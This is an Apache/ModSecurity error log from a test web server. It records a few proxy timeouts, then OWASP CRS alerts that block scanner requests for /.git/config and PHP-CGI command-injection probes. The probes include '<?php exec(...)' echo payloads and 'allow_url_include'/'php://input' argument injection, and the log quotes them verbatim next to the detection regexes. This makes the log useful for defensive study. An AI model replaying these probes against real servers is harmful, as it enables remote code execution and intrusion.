[Fri Apr 21 15:32:17.017328 2023] [proxy:error] [pid 2289685] [client 37.161.132.206:50905] AH00898: Error reading from remote server returned by /rest/partners/6419bc8fd950840eb9b530a5/products/64428eea9c6d1528a8d96e6a, referer: http://pms.test.indacotrentino.com/editReference;referenceId=64428eea9c6d1528a8d96e6a
[Wed May 03 17:22:59.758257 2023] [proxy_http:error] [pid 2485119] (70007)The timeout specified has expired: [client 79.20.109.100:60902] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editReference;referenceId=644bd045b4d5788bc848936a
[Wed May 03 17:22:59.760408 2023] [proxy:error] [pid 2485119] [client 79.20.109.100:60902] AH00898: Error reading from remote server returned by /rest/media/644bd045b4d5788bc848936a, referer: http://pms.test.indacotrentino.com/editReference;referenceId=644bd045b4d5788bc848936a
[Mon May 08 11:16:43.555888 2023] [:error] [pid 2556286] [client 91.213.50.8:52174] [client 91.213.50.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZFi9@87yo4@MZ0aEJRRiMQAAAAo&quot;]
[Mon May 08 11:16:43.556158 2023] [:error] [pid 2556286] [client 91.213.50.8:52174] [client 91.213.50.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZFi9@87yo4@MZ0aEJRRiMQAAAAo&quot;]
[Mon May 08 11:16:43.556393 2023] [:error] [pid 2556286] [client 91.213.50.8:52174] [client 91.213.50.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZFi9@87yo4@MZ0aEJRRiMQAAAAo&quot;]
[Tue May 09 10:08:02.468798 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;[\\\\n\\\\r]&quot; at ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf&quot;] [line &quot;166&quot;] [id &quot;921150&quot;] [msg &quot;HTTP Header Injection Attack via payload (CR/LF detected)&quot;] [data &quot;Matched Data: \\x0a found within ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/HEADER_INJECTION&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.470132 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:l[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;123&quot;] [id &quot;932100&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: ;echo join(\\x22\\x0a\\x22,$colm);die found within ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTI [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.470250 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:m[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*q[\\&quot;\\\\^]*l(?:[\\&quot;\\\\^]*(?:d[\\&quot;\\\\^]*u[\\&quot;\\\\^]*m[\\&quot;\\\\^]*p(?:[\\&quot;\\\\^]*s[\\&quot;\\\\^ ...&quot; at ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;258&quot;] [id &quot;932110&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: ;echo found within ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-windows&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC- [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.470393 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?:&lt;\\\\?(?!xml\\\\s)|&lt;\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])&quot; at ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;67&quot;] [id &quot;933100&quot;] [msg &quot;PHP Injection Attack: PHP Open Tag Found&quot;] [data &quot;Matched Data: &lt;? found within ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;cmd.exe /c echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.470474 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;=&quot; at ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;133&quot;] [id &quot;933120&quot;] [msg &quot;PHP Injection Attack: Configuration Directive Found&quot;] [data &quot;Matched Data: = found within ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input: -d allow_url_include=1 -d auto_prepend_file=php:/input&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.470524 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)&quot; at ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;199&quot;] [id &quot;933140&quot;] [msg &quot;PHP Injection Attack: I/O Stream Found&quot;] [data &quot;Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input: -d allow_url_include=1 -d auto_prepend_file=php://input&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.470618 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die() found within ARGS_NAMES:&lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;cmd.exe /C echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injectio [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.471289 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 35)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.471472 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=20,HTTP=5,SESS=0): individual paranoia level scores: 35, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6gAAAAk&quot;]
[Tue May 09 10:08:02.484620 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;[\\\\n\\\\r]&quot; at ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf&quot;] [line &quot;166&quot;] [id &quot;921150&quot;] [msg &quot;HTTP Header Injection Attack via payload (CR/LF detected)&quot;] [data &quot;Matched Data: \\x0a found within ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/HEADER_INJECTION&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:02.484793 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:l[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;123&quot;] [id &quot;932100&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: ;echo join(\\x22\\x0a\\x22,$colm);die found within ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag  [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:02.484889 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:m[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*q[\\&quot;\\\\^]*l(?:[\\&quot;\\\\^]*(?:d[\\&quot;\\\\^]*u[\\&quot;\\\\^]*m[\\&quot;\\\\^]*p(?:[\\&quot;\\\\^]*s[\\&quot;\\\\^ ...&quot; at ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;258&quot;] [id &quot;932110&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: ;echo found within ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-windows&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:02.485023 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?:&lt;\\\\?(?!xml\\\\s)|&lt;\\\\?php|\\\\[(?:/|\\\\\\\\)?php\\\\])&quot; at ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;67&quot;] [id &quot;933100&quot;] [msg &quot;PHP Injection Attack: PHP Open Tag Found&quot;] [data &quot;Matched Data: &lt;? found within ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:02.485087 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;=&quot; at ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;133&quot;] [id &quot;933120&quot;] [msg &quot;PHP Injection Attack: Configuration Directive Found&quot;] [data &quot;Matched Data: = found within ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input: -d allow_url_include=1 -d auto_prepend_file=php:/input&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:02.485130 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)&quot; at ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;199&quot;] [id &quot;933140&quot;] [msg &quot;PHP Injection Attack: I/O Stream Found&quot;] [data &quot;Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=1 -d auto_prepend_file=php://input: -d allow_url_include=1 -d auto_prepend_file=php://input&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:02.485237 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(&quot;\\n&quot;,$colm);die();?&gt;. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die() found within ARGS_NAMES:&lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x5cn\\x22,$colm);die();?&gt;: &lt;?php exec(&#039;echo uizwcdcq9800cqkm2lyq&#039;,$colm);echo join(\\x22\\x0a\\x22,$colm);die();?&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WE [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
[Tue May 09 10:08:02.485903 2023] [:error] [pid 2564796] [client 213.21.147.71:52023] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 35)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home&quot;] [unique_id &quot;ZFn-Ykwf-WPWf2U@Ko2p6wAAAAk&quot;]
